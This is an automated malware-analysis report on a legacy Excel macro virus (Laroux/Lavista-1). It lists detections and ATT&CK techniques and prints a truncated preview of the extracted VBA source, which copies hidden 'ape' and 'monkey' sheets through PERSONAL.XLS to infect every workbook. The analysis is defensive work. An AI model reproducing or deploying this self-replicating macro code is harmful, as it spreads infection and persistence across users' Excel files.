MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is identified as a malicious Excel 5 macro-virus (Laroux/Lavista-1) by multiple heuristics, including critical firings for macro virus markers and ClamAV detection. The VBA script contains an Auto_Open macro, which is designed to execute automatically upon opening the document. The script attempts to establish persistence by checking for and potentially modifying the 'PERSONAL.XLS' file, indicating an intent to ensure the malware runs whenever Excel is started.
Heuristics 4
-
ClamAV: Xls.Trojan.Lavista-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Lavista-1
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5441 bytes |
SHA-256: daff1c14b50b2d4c156f2e01393268200ceae19e512b063553534190d7e67f41 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ape"
Dim no As Integer
Dim off As Integer
Dim find_mod As Integer
Dim find_mod_per As Integer
Dim exist_per As Integer
Sub test_aktiv_book()
Attribute test_aktiv_book.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error GoTo defect
no = 1
find_mod = 0
off = 0
Do While off = 0
If ActiveWorkbook.Modules(no).Name = "ape" Then
off = 1
find_mod = 1
Else
no = no + 1
End If
Loop
Exit Sub
defect:
find_mod = 0
End Sub
Sub test_personal()
Attribute test_personal.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
If UCase(Dir(Application.StartupPath & "\" & "PERSONAL.XLS)) = "PERSONAL.XLS" Then
exist_per = 4
Else
exist_per = 0
End If
If exist_per = 4 Then
On Error GoTo defect
no = 1
find_mod_per = 0
off = 0
Do While off = 0
If Workbooks("PERSONAL.XLS").Modules(no).Name = "ape" Then
off = 1
find_mod_per = 2
Else
no = no + 1
End If
Loop
Exit Sub
defect:
find_mod_per = 0
Else
find_mod_per = 0
End If
End Sub
Sub create_modul()
Attribute create_modul.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error GoTo defect
Application.DisplayAlerts = False
Application.Run ("test_aktiv_book")
Application.Run ("test_personal")
path_book = ActiveWorkbook.Path
name_book = ActiveWorkbook.Name
name_sheet = ActiveSheet.Name
If exist_per + find_mod + find_mod_per = 6 Then
Windows("PERSONAL.XLS").Visible = True
Sheets("ape").Visible = True
Sheets("monkey").Visible = True
Workbooks("PERSONAL.XLS").Sheets("ape").Copy before:=Workbooks(name_book).Sheets(1)
Workbooks("PERSONAL.XLS").Sheets("monkey").Copy before:=Workbooks(name_book).Sheets(1)
Workbooks(name_book).Sheets("ape").Visible = False
Workbooks(name_book).Sheets("monkey").Visible = xlVeryHidden
Workbooks("PERSONAL.XLS").Sheets("ape").Visible = False
Workbooks("PERSONAL.XLS").Sheets("monkey").Visible = xlVeryHidden
Windows("PERSONAL.XLS").Visible = False
Workbooks("PERSONAL.XLS").Save
Workbooks(name_book).Sheets(name_sheet).Activate
If ActiveWorkbook.Path <> "" Then
Workbooks(name_book).Save
End If
ElseIf exist_per + find_mod + find_mod_per = 5 Then
Windows("PERSONAL.XLS").Visible = True
Workbooks(name_book).Sheets("ape").Visible = True
Workbooks(name_book).Sheets("monkey").Visible = True
Workbooks(name_book).Sheets("ape").Copy before:=Workbooks("PERSONAL.XLS").Sheets(1)
Workbooks(name_book).Sheets("monkey").Copy before:=Workbooks("PERSONAL.XLS").Sheets(1)
Workbooks(name_book).Sheets("ape").Visible = False
Workbooks(name_book).Sheets("monkey").Visible = xlVeryHidden
Workbooks("PERSONAL.XLS").Sheets("ape").Visible = False
Workbooks("PERSONAL.XLS").Sheets("monkey").Visible = xlVeryHidden
Windows("PERSONAL.XLS").Visible = False
Workbooks("PERSONAL.XLS").Save
Workbooks(name_book).Sheets(name_sheet).Activate
Application.OnWindow = ""
Application.OnWindow = "PERSONAL.XLS!create_modul"
ElseIf exist_per + find_mod + find_mod_per = 1 Then
Workbooks(name_book).Modules.Add
new_module = ActiveSheet.Name
ActiveSheet.Select
ActiveSheet.Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
new_book = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks(new_book).SaveAs Filename:=Application.StartupPath & "\" & "PERSONAL.XLS"
Windows("PERSONAL.XLS"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.